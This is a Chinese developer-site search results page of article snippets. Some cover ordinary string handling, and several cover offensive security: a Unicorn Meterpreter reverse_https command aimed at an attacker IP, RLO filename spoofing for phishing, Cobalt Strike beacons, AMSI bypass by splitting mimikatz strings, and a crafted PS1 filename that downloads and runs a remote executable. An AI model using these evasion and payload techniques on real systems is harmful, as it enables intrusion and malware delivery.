文档建议反馈控制台
首页
学习
活动
专区
工具
TVP
最新优惠活动
文章/答案/技术大牛
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

一个免杀钓鱼思路分享

右边的文件是PowerShell有效负载，两者看起来基本一模一样，可以看到都是.txt的文件名。打开我们的木马文件跟我们打开笔记本应用没有任何分别。但是我们的木马在后台悄悄执行了。...右边的文件是PowerShell有效负载，两者看起来基本一模一样，可以看到都是.txt的文件名。打开我们的木马文件跟我们打开笔记本应用没有任何分别。 但是我们的木马在后台悄悄执行了。...unicorn.py windows/Meterpreter/reverse_https 192.168.50.146 4444 Unicorn将使用Metasploit reverse_https模块通过指定的端口连接到攻击者的...可以使用在线工具（如ConvertICO）完成此操作。只需将所需的PNG上传到网站，它将以ICO格式输出。 这里我们使用的是记事本的图标。...使用Unicode欺骗文件扩展名 使用称为“从右到左覆盖”（RLO）（https://unicode-table.com/en/202E/）的Unicode字符来反转字符在文件名中的显示顺序。

1.2K11

PowerShell 基础篇

cmdlet --detailed 查看详细帮助， 相当于man get-help cmdlet --examples 查看样例 常用的参数类型 string, 数字字母和空格, 如果出现空格符, 全部字符串必须包含在引号内部...中, 这也是powershell仅支持的两种扩展方式....Filter参数 Credentials 改提供程序允许使用可变更的凭据连接数据存储, 这也就是-Credentials参数的作用 Transactions 该提供程序支持事务, 也就是允许在改提供程序中将多个变更作为一个原子操作进行提交或者全部回滚...可以使用某个提供程序创建一个PSDrive, PSDrive可以通过一个特定的提供程序连接到某些存储数据的介质, 这和在windows资源管理器中类似, 本质上是创建一个驱动器映射, 但是由于PSDrive...和* 通配符, 如果文件名字中包含?或者*. 可以用-LiteralPath 参数. 该参数不支持任何通配符, 严格按照键入的值使用.

1.7K10
您找到你想要的搜索结果了吗？
是的
没有找到

CS学习笔记 | 10、如何管理Payload载荷

0x00 前言 到目前为止，已经学过了如何在有漏洞的目标上获取立足点的方法，接下来将继续学习后渗透相关的知识，这一节就来学习学习 beacon 的管理、会话传递等。...为了更好的隐蔽性，可以找到更合适的程序（如 Internet Explorer） 并使用spawnto命令来说明在派生新会话时候会使用 Beacon 中的哪个程序。...如果 payload stage 是 HTTP、HTTPS 或 DNS Beacon 并且它无法连接到你，那么将看不到一个会话。...如果 payload stage 是一个绑定的 TCP 或 SMB 的 Beacon，这些命令会自动地尝试连接到并控制这些 payload。...cancel：该命令加上一个文件名来取消正在进行的一个下载任务。也可以在 cancel 命令中使用通配符来一次取消多个文件下载任务。

1.9K30

A Detailed Guide on AMSI Bypass

AMSI根据某些关键字检测签名，因此对这些关键字进行模糊处理是有效的，例如:混淆invoke-mimikatz Invoke-Mimikatz "Inv”+"o+"ke"+"-Mimi"+"katz" 如您所见...，只需断开一个字符串并使用+运算符将它们连接起来，我们就可以绕过AMSI，然而这种技术有其自身的缺点，有效载荷可能会触发AMSI一次或多次，在每次运行有效负载后逐个混淆关键字实际上是非常耗时且会产生噪音的...\demo.ps1 现在该工具告诉我AMSI阻止执行的行，我们可以继续使用字符串连接方法对它们进行混淆，例如： "am"+"si"+"ut"+"ils" "in"+"vok"+"e"+"-"+"mi"...这可以像这样完成 [System.Reflection.Assembly]::LoadFile("C:\users\hex\Project\ASBBypass.dll") [Amsi]::Bypass() 如您所见...\nishang.ps1 Invoke-AmsiBypass -Verbose "invoke-mimikatz" 文末小结 在本文中我们讨论了AMSI的基础知识、如何在程序中使用它们、工作流程以及绕过它们的

1.5K20

绕过SQL Server的登录触发器限制

在本文中，我将向大家展示如何利用连接字符串属性欺骗主机名和应用程序名称来绕过这些限制。示例中将会包括SSMS和PowerUpSQL。这对于那些继承了旧式桌面应用的渗透测试人员和开发人员非常有用。...我的回答是通常是在你从配置文件或反编译代码恢复连接字符串之后使用，现在我们希望使用该信息直接连接到后端SQL Server，这是应用程序渗透测试中非常常见的情况。...下面是一个简单连接字符串的例子，它将作为当前Windows用户连接到远程SQL Server实例，并选择“Master”数据库。...1.打开Powershell并使用自己喜欢的方式加载PowerUpSQL。下面的示例显示了如何直接从GitHub加载PowerUpSQL。...使用字符串连接欺骗应用程序名称 正如在上一节中提到的那样，存在一个名为“AppName”的连接字符串属性，应用程序可以使用它将其应用程序名称提交给SQL Server，例如： Data Source=server

2K10

精心构造的PS1文件名导致Powershell命令执行

我们在一次测试中偶然发现，由于信任未过滤的文件名，因此在运行特殊命名的脚本时，PowerShell可能会执行任意代码。...测试发现运行带有特殊格式文件名的脚本后，可以导致执行其他木马如exe文件，也可以是任何可执行文件如.com，.exe，.bat，.cpl，.js，.vbs和.wsf。 例如：使用”....测试过程如下： 1、生成powershell命令：首先，我们创建一个用于混淆的Base64编码的文件名；它将下载并执行一个在本例中名为“ calc.exe”的远程可执行文件。...注意windows的文件名长度，尽量简写，如： C:\>powershell [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes...仅仅是打印了一个字符串，文件名理论上被查杀的可能性小。 *本文原创作者：freexploit，本文属于FreeBuf原创奖励计划，未经许可禁止转载

1.8K20

字符串转换整数python_将Python字符串转换为Int：如何在Python中将字符串转换为整数

参考链接： 在Python中将整数int转换为字符串string 字符串转换整数python  Unlike many other programming languages out there, Python...与现有的许多其他编程语言不同，Python在将整数连接到字符串时不会隐式地将整数(或浮点数)类型转换为字符串。    ...在Python中将字符串转换为整数的错误方法 (The Wrong Way to Convert a String to an Integer in Python)   Programmers coming...attempt to do the following string concatenation, which will produce an error:   来自其他编程语言的程序员可能会尝试执行以下字符串连接...在Python中将字符串转换为整数的正确方法 (The Correct Way to Convert a String to an Integer in Python )   Here's a simple

3.7K20

字符串转换整数python_将Python字符串转换为Int：如何在Python中将字符串转换为整数

参考链接： Python中将字符串转换为整数 字符串转换整数python  Unlike many other programming languages out there, Python does...与现有的许多其他编程语言不同，Python在将整数连接到字符串时不会隐式地将整数(或浮点数)类型转换为字符串。    ...在Python中将字符串转换为整数的错误方法 (The Wrong Way to Convert a String to an Integer in Python)   Programmers coming...attempt to do the following string concatenation, which will produce an error:   来自其他编程语言的程序员可能会尝试执行以下字符串连接...在Python中将字符串转换为整数的正确方法 (The Correct Way to Convert a String to an Integer in Python )   Here's a simple

3.9K20

【JavaSE专栏38】Java常用类 String 解析，字符串的花式操作

字符串池：为了节省内存，Java 使用了字符串池的概念。字符串池是一个存储字符串对象的缓存区域，相同的字符串字面量在池中只会有一个实例。...charAt(int index)：返回指定索引位置的字符。 concat(String str)：将指定字符串连接到原字符串的末尾。...Hello"; char ch = str.charAt(1); System.out.println(ch); // 输出: e 2.3 concat concat(String str)：将指定字符串连接到原字符串的末尾...文件操作：在读取和写入文件时，通常会使用 String 类来处理文件路径、文件名和文件内容。可以使用 String 类来构建文件路径、比较文件名、拼接文件内容等。...charAt(int index)：返回指定索引处的字符。 concat(String str)：将指定字符串连接到原字符串的末尾。

19620

【C++】STL 容器 - string 字符串操作 ④ ( string 字符串连接 | 字符串重载函数 - operator+= 函数 | append 函数 )

文章目录 一、string 字符串连接 1、字符串重载函数 - operator+= 函数 2、字符串重载函数 - operator+ 函数 3、append 函数 4、代码示例 - string 字符串连接...一、string 字符串连接 1、字符串重载函数 - operator+= 函数 下面函数的作用是 将 字符串 s 连接到 当前 string 类型字符串对象 的结尾 , char* 类型字符串 和...string &s); 函数返回一个对 string 对象的引用 , 这意味着当你使用这个运算符时 , 你实际上是在操作原始对象 , 而不是创建一个新的对象 ; 通过返回引用 , 可以实现链式操作 , 如...; append 函数原型 : // 将 字符串 s 连接到当前字符串结尾 string& append(const char* s); string& append(const string& s...); // 将 字符串 s 的前 n 个字符连接到当前字符串结尾 string& append(const char* s,int n); // 将 字符串 s 中从 pos 开始的 n 个字符连接到当前字符串结尾

35210

windows命令行混淆

用法即是我们可以在敏感文件名、命令中间添加空格。 ? 转义符 转义符(^)也可以做为切割文件名的一个符号，但是该符号不能够连续输入。 ? 转义符也可以作为一个换行 ?...@符的作用，@符能够将值传递到前面的环境变量中，如： cmd /c "set x=c@alc & echo %x:@=test% | cmd" 这就可以将test传到c@alc的@位置，输出将是ctestalc...如：set a=abcd，要想提取里面的某个字符串，可以通过 %a:~0,1% 其中0表示从第几位开始提取，1表示提取几个字符串。 所以，我们可以这样去执行一个计算器。...\”) do %g 从”c:\windows\system32\powershell”中以反斜杠为分隔符，提取第四列的字符串并执行。...当然我们可以从文件名、目录名、文件中、环境变量中去读取数据，这样我们需要的字符串就都能够提取到。 ?

1.4K20

powershell学习备忘

设置macOS系统远程连到windows系统的powershell 本地还是更喜欢iTerm2的终端，windows里带的powershell终端实在是用不惯，于是设置了下通过ssh连接到windows...如果一个外部命令必须用引号括起来，为了让powershell执行字符串里的命令，可在字符串前加&，这样即可让powershell执行该命令，参见这里 命令集cmdlets cmdlets是Powershell...$MyInvocation 包含一个对象，该对象具有有关当前命令（如脚本、函数或脚本块）的信息。...可以使用该对象中的 信息（如脚本的路径和文件名 ($myinvocation.mycommand.path) 或函数的名称 ($myinvocation.mycommand.name)）来标识当前命令。...Measure-Object: 计算对象的数字属性以及字符串对象（如文本文件）中的字符数、单词数和行数。 more: 对结果分屏显示。 Out-File: 将输出发送到文件。

12.4K60

使用Microsoft.com域绕过防火墙并执行有效负载

许多Microsoft拥有的域可用于此类活动，如Microsoft Answers，Office Forms，OneDrive，甚至其他Microsoft新闻媒体的评论部分。...在Bash（Kali终端）中，需要将有效负载中的 PowerShell 变量作为文字字符串传递。...包含特殊字符的复杂PowerShell有效内容必须是base64编码的。否则，Microsoft的服务器将检测并清理特殊字符（例如，＆）。Base64编码有效载荷是解决该问题的快捷方法。...在PowerShell中使用base64字符串时，它们需要出现在一行中。通过将base64输出传递给tr来删除（-d）新行（\ n），将多行连接成一个字符串。...可以以明文形式托管有效负载，但PowerShell stager需要包含一些代码来检测并以纯文本格式转换已清理的HTML字符串。虽然可能，但这超出了本文的范围。

3.8K30

你应该知道的10个Python文件系统方法

获取信息 1.os.getcwd() 将当前工作目录路径作为字符串获取 等价于macOS/Linux系统的pwd命令 2.os.listdir() 以字符串列表的形式获取当前工作目录的内容 等价于macOS...os.walk()为它所遍历的每个目录返回以下项: 当前目录路径为字符串 当前目录中的子目录名作为字符串 列表当前目录中的文件名作为字符串列表 使用带有for循环的os.walk()来遍历目录及其子目录的内容通常很有用...join()的设计目的是通过将多个字符串连接到一个漂亮的文件路径中，创建一个可以在大多数操作系统上工作的路径。...基本上，如果您使用的是Unix或macOS系统，os.path.join()在提供的每个字符串之间加上一个正斜杠(" / ")来创建路径。如果操作系统需要“\”，那么join知道使用反斜杠。...一定要使用它而不是手动的字符串连接，以避免看起来像一个新手。

75210

windows: 解决WinRM远程会话中的第二跳认证问题

当我们从一个机器（A）远程连接到另一个机器（B），然后再试图从机器B连接到第三个机器（C），这种情况被称为“双跳”。...为解决此问题，可以使用PowerShell的CredSSP（凭据安全服务提供程序）认证。CredSSP允许我们的凭据从本地机器传递到远程服务器，然后再传递到第三方服务器。...请以管理员身份运行PowerShell，然后执行以下命令： 在本地机器上： Enable-WSManCredSSP -Role Client -DelegateComputer "远程服务器地址"...再次尝试执行命令 在成功连接到远程服务器后，我们应该能够成功执行需要二次跳跃的命令，如Set-ADAccountPassword命令，而不会遇到错误： Set-ADAccountPassword -Identity...以下是如何在Set-ADAccountPassword命令中再次明确指定凭据的示例： $credentials = Get-Credential Set-ADAccountPassword -Identity

28230

JavaApi高级编程（二）字符串概念和使用以及String和StringBuffer的区别

分析：         1、使用equalslgnoreCase()方法         2、使用toLowerCase()方法         3、使用toUpperCase方法 方法三：字符串连接...; //B字符串将被连接到A字符串的后面 String sentence = s.concat(name); System.out.println(sentece); 输出结果：你好，张三！...方法四：                 1、字符串常用提取方法，判断是否正确、是否存在                 2、字符串截取方法                 3、检查Java文件名...System.out.println(s3); 3、//检查Java文件名： int index = fileName.lastIndexOf(","); if(index!...(index+1,fileName.length()).equals("java")){ fileCorrect = true; }else{ System.out.println("文件名无效

26020
点击加载更多

扫码

添加站长 进交流群

领取专属 10元无门槛券

手把手带您无忧上云

扫码加入开发者社群

相关资讯

热门标签

更多标签

活动推荐

    运营活动

    活动名称
    广告关闭

    腾讯云开发者

    扫码关注腾讯云开发者

    扫码关注腾讯云开发者

    领取腾讯云代金券

    热门产品

    热门推荐

    更多推荐

    Copyright © 2013 - 2024 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有

    深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 深公网安备号 44030502008569

    腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287

    领券